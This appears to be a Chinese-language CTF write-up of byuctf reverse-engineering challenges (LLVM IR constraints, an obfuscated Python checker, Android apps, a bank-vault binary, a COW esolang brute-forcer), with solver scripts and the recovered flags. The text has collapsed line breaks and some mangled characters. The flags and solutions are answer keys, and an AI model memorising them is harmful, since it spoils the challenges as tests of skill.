306: ; preds = %295%307 = load ptr, ptr %2, align 8%308 = getelementptr inbounds i8, ptr %307, i64 33%309 = load i8, ptr %308, align 1%310 = sext i8 %309 to i32%311 = load ptr, ptr %2, align 8%312 = getelementptr inbounds i8, ptr %311, i64 32%313 = load i8, ptr %312, align 1%314 = sext i8 %313 to i32%315 = add nsw i32 %314, 1%316 = icmp eq i32 %310, %315br i1 %316, label %317, label %340
整理一下得到
def chk(v):v[4] == v[14] == v[17] == v[23] == v[25]v[9] == v[20]v[10] == v[18]v[11] == v[15] == v[24] == v[31] == v[27]v[13] == v[26]v[16] == v[29]v[19] == v[28] == v[32]v[36] == 125v[6] == 123v[7] - 32 == v[8]v[:6] == b'byuctf'v[9]+v[20] == v[31]+3v[31]+3 == v[0]v[10] == v[7]+6v[8] == v[9]+27v[12] == v[13]-1v[13] == v[10]-3v[10] == v[16]-1v[16] == v[14]-1v[35] == v[5]-2v[5] == v[21]-1v[21] == v[22]-1v[22] == v[28]*2v[33] == v[32]+1v[32]+1 == v[34]-3v[30] == v[7]+1
手動換個順序
v = [-1]*37
for i,k in enumerate(b'byuctf'):v[i]=kv[36]=125
v[6]=123
v[31] = v[0]-3
v[14]=v[4]
v[17]=v[14]
v[23]=v[17]
v[25]=v[23]
v[16] = v[14]-1
v[10] = v[16]-1
v[13] = v[10]-3
v[12] = v[13]-1
v[7] = v[10]-6
v[8] = v[7]-32
v[9] = v[8]-27
v[20] = v[9]
v[18]=v[10]
v[31] = v[9]+v[20]-3
v[24] = v[31]
v[15] = v[24]
v[11] = v[15]
v[27] = v[31]
v[35] = v[5]-2
v[26] = v[13]
v[29] = v[16]
v[21] = v[5]+1
v[22] = v[21]+1
v[28] = v[22]//2
v[32] = v[28]
v[19] = v[28]
v[33] = v[32]+1
v[34] = v[32]+4
v[30] = v[7]+1bytes(v)
#byuctf{lL1r_not_str41ght_to_4sm_458d}
u
混淆的題,把函數變成UTF字符,手動變回
ù,ú,?,ü,?,ū,?,?,?,?,?,?,?=chr,ord,abs,input,all,print,len,input,pow,range,list,dict,set;ù=[12838,1089,16029,13761,1276,14790,2091,17199,2223,2925,17901,3159,18135,18837,3135,19071,4095,19773,4797,4085,20007,5733,20709,17005,2601,9620,3192,9724,3127,8125];u,U=3,256;?=ü();?=?(?([?(u,?,U) for ? in(?(U))]))[u:?(ù)+u];?=zip;?=[ú(?) for ? in(?)];assert(?(ù)==?(?));assert(?([?*ü==ū for ?,ü,ū in(?(?,?,ù))]));
cc=[12838,1089,16029,13761,1276,14790,2091,17199,2223,2925,17901,3159,18135,18837,3135,19071,4095,19773,4797,4085,20007,5733,20709,17005,2601,9620,3192,9724,3127,8125]
u,U=3,256
dict=input()
v=list(set([pow(u,i,U) for i in(range(U))]))[u:len(cc)+u];
list=zip;
dict=[ord(abs) for abs in(dict)];
assert(len(chr)==len(dict));
assert(all([a*i==p for a,i,p in(list(v,dict,cc))]));#改為除法得到flag
v=list(set([pow(u,i,U) for i in(range(U))]))[u:len(cc)+u];
r = [cc[i]//v[i] for i in range(len(cc))]
bytes(r)
#byuctf{uuuuuuu_uuuu_uuu_34845}
Baby Android 2
找到密文和換順序的方法,直接找回
a = 'bycnu)_aacGly~}tt+?=<_ML?f^i_vETkG+b{nDJrVp6=)='
''.join([a[i*i%47] for i in range(23)])
#byuctf{c++_in_an_apk??}byuctf{e4_if_e_efcopukd0inrdccyat}
Baby Android 1
拿到一兩個數字和一個字符,多組,里邊有byuctf所以畫成圖看
a = [[420, 216, '}'],[616, 340, 't'],[ 556, 332, 'a'],[676, 368, 'y'],[500, 252, 'c'],[636, 348, 'c'],[436, 364, 'd'],[496, 348, 'r'],[536, 336, 'n'],[456, 360, 'i'],[536, 276, '0'],[516, 340, 'd'],[460, 232, 'k'],[656, 356, 'u'],[452, 320, 'p'],[476, 352, 'o'],[ 500, 300, 'c'],[596, 332, 'f'],[484, 308, 'e'],[436, 328, ' '],[516, 292, 'e'],[
536, 284, ' '],[536, 268, 'f'],[ 468, 316, 'i'],[516, 260, ' '],[480, 240, '4'],[440, 224, 'e'],[576, 324, '{']]from PIL import Image, ImageFont, ImageDrawimg = Image.new('RGB',(800,800), (255,255,255))
draw = ImageDraw.Draw(img)font = ImageFont.load_default()
for v in a:draw.text((v[1],v[0]), v[2], fill=(0,0,0), font=font)img.save('a.png')
#byuctf{androidpiece0fc4ke}
#byuctf{android_piece_0f_c4ke}
Bank Vault
這里C_0_0實際逆序后表示哪一位有效,C_1_1的整形數組的hibyte是flag但有些無效
v23 = &v15;std::vector<bool>::vector(v14, &C_0_0, 84LL, &v15);std::__new_allocator<bool>::~__new_allocator(&v15);std::vector<bool>::vector(v13, v14);v22 = &v16;std::vector<unsigned int>::vector(v12, &C_1_1, 84LL, &v16);std::__new_allocator<unsigned int>::~__new_allocator(&v16);std::string::basic_string(v11);std::operator<<<std::char_traits<char>>(&_bss_start, "What's the password to the bank vault? ");std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v11);v27 = 0;std::vector<bool>::vector(v10);v25 = 0;for ( i = 0; ; ++i ){v5 = i;if ( v5 >= std::vector<unsigned int>::size(v12) )break;v17[0] = std::vector<bool>::back((__int64)v13);v17[1] = v3;v25 = std::_Bit_reference::operator bool(v17);v4 = HIWORD(*(_DWORD *)std::vector<unsigned int>::at(v12, i));v24 = (_BYTE)v4 == *(_BYTE *)std::string::operator[](v11, v27);if ( v25 )++v27;std::vector<bool>::push_back(v10, v24);std::vector<bool>::pop_back(v13);}
msg = open('bank','rb').read()
c = msg[0x5120:0x5120+84][::-1]
a = msg[0x5180:0x52d0]m = ''
i=0
while i <84:if c[i]:m+=chr(a[i*4+2])i+=1#byuctf{3v3n_v3ct0rs_4pp34r_1n_m3m0ry}
*moooo
cow esolang語言,與brainfuck有點像,多了幾個符號,網上有解釋器,但這里需要爆破,看了WP也不大明白,是通過最后的返回字符來判斷。
from queue import PriorityQueue
import string
from typing import List, Optional# mostly takne from https://github.com/Mikhail57/cow-interpreter/blob/master/interpreter.py
class CowInterpreter:# Twelve COW commands, mapped by indexavailable_commands = ["moo", # 0: loop end ("moo")"mOo", # 1: move pointer left"moO", # 2: move pointer right"mOO", # 3: execute cell as instruction"Moo", # 4: input/output char"MOo", # 5: decrement cell"MoO", # 6: increment cell"MOO", # 7: loop start"OOO", # 8: zero cell"MMM", # 9: copy/paste register"OOM", # 10: print int"oom", # 11: read int]max_idx = 0output = b""def __init__(self, buffer=b"byuctf{") -> None:self.buffer = bufferself._cells: List[int] = [0] * 30000self._commands: List[int] = []self._ptr: int = 0 # data pointerself._cmd_ptr: int = 0 # instruction pointerself._register: Optional[int] = None# map command indices to handler methodsself._commands_to_functions = {0: self._handle_loop_end,1: self._move_to_prev_cell,2: self._move_to_next_cell,3: self._handle_current_as_instruction,4: self._print_or_read_char,5: self._decrement_current_cell,6: self._increment_current_cell,7: self._handle_loop_start,8: self._zero_current_cell,9: self._copy_or_paste_register,10: self._print_int,11: self._read_int,}def interpret(self, code: str):# tokenize program: split on whitespace and filter valid commandstokens = code.split()self._commands = [self.available_commands.index(t)for t in tokens if t in self.available_commands]self._ptr = 0self._cmd_ptr = 0while self._cmd_ptr < len(self._commands):cmd = self._commands[self._cmd_ptr]handler = self._commands_to_functions.get(cmd)if handler is None:raise Exception(f"Unknown command index {cmd}")handler()self._cmd_ptr += 1self.max_idx = max(self.max_idx, self._cmd_ptr)def _handle_loop_start(self):# "MOO": if current cell is zero, skip to matching loop end ("moo")if self._cells[self._ptr] == 0:# find matching loop-endself._cmd_ptr = self._get_loop_end(self._cmd_ptr)def _handle_loop_end(self):# "moo": if current cell != 0, jump back to matching loop start ("MOO")if self._cells[self._ptr] != 0:self._cmd_ptr = self._get_loop_start(self._cmd_ptr)def _zero_current_cell(self):self._cells[self._ptr] = 0def _move_to_prev_cell(self):if self._ptr == 0:raise IndexError("Data pointer moved before start of tape")self._ptr -= 1def _move_to_next_cell(self):self._ptr += 1if self._ptr >= len(self._cells):# expand tape if neededself._cells.append(0)def _handle_current_as_instruction(self):# "mOO": treat cell value as command index and execute itidx = self._cells[self._ptr]if idx < 0 or idx >= len(self.available_commands) or idx == 3:# idx == 3 would recurse infinitelyraise Exception(f"Invalid command index {idx} in cell for mOO")# execute without advancing cmd_ptr twiceself._commands_to_functions[idx]()def _print_or_read_char(self):# "Moo": if cell != 0, output char, else read charif self._cells[self._ptr] == 0:self._cells[self._ptr] = self.buffer[0]if len(self.buffer) > 1:self.buffer = self.buffer[1:]else:self.output += bytes([self._cells[self._ptr]])pass# print(chr(self._cells[self._ptr]), end='')def _decrement_current_cell(self):self._cells[self._ptr] -= 1def _increment_current_cell(self):self._cells[self._ptr] += 1def _copy_or_paste_register(self):# "MMM": copy into register or paste from registerif self._register is None:self._register = self._cells[self._ptr]else:self._cells[self._ptr] = self._registerself._register = Nonedef _print_int(self):# "OOM": print integer with no newlinepass# print(self._cells[self._ptr], end='')def _read_int(self):# "oom": read integer into cellval = chr(self.buffer[0])if len(self.buffer) > 1:self.buffer = self.buffer[1:]self._cells[self._ptr] = int(val)def _get_loop_end(self, start_idx: int) -> int:# find matching "moo" for "MOO" at start_idxdepth = 1i = start_idxwhile depth > 0:i += 1if i >= len(self._commands):raise IndexError("Loop start without matching loop end")if self._commands[i] == 7: # another MOOdepth += 1elif self._commands[i] == 0: # moodepth -= 1return idef _get_loop_start(self, end_idx: int) -> int:# find matching "MOO" for "moo" at end_idxdepth = 1i = end_idxwhile depth > 0:i -= 1if i < 0:raise IndexError("Loop end without matching loop start")if self._commands[i] == 0: # moodepth += 1elif self._commands[i] == 7: # MOOdepth -= 1return iwith open("main.cow", 'r') as f:code = f.read()
prog = b"byuctf{"
queue = PriorityQueue()
queue.put((0, prog))prev_max = 0max_by_pos = dict()while not queue.empty():idx, prog = queue.get()for i in string.digits + string.ascii_letters + string.punctuation:inp = prog + i.encode() + b'}'interpreter = CowInterpreter(inp)try:interpreter.interpret(code)print(inp, '->', interpreter.output[19:], interpreter.max_idx)except Exception as e:passif b'gotem' in interpreter.output:print("Found flag:", inp.decode())exit()ans = b"gotem"extra = 0for j in range(len(interpreter.output)-19):if interpreter.output[19+j] == ans[j]:extra += 2else:breakinterpreter.max_idx += extraif interpreter.max_idx > prev_max:print('new best', interpreter.max_idx, inp.decode())prev_max = interpreter.max_idxif interpreter.max_idx >= prev_max and len(prog + i.encode()) <= 38:queue.put((-interpreter.max_idx+len(prog + i.encode()), prog + i.encode()))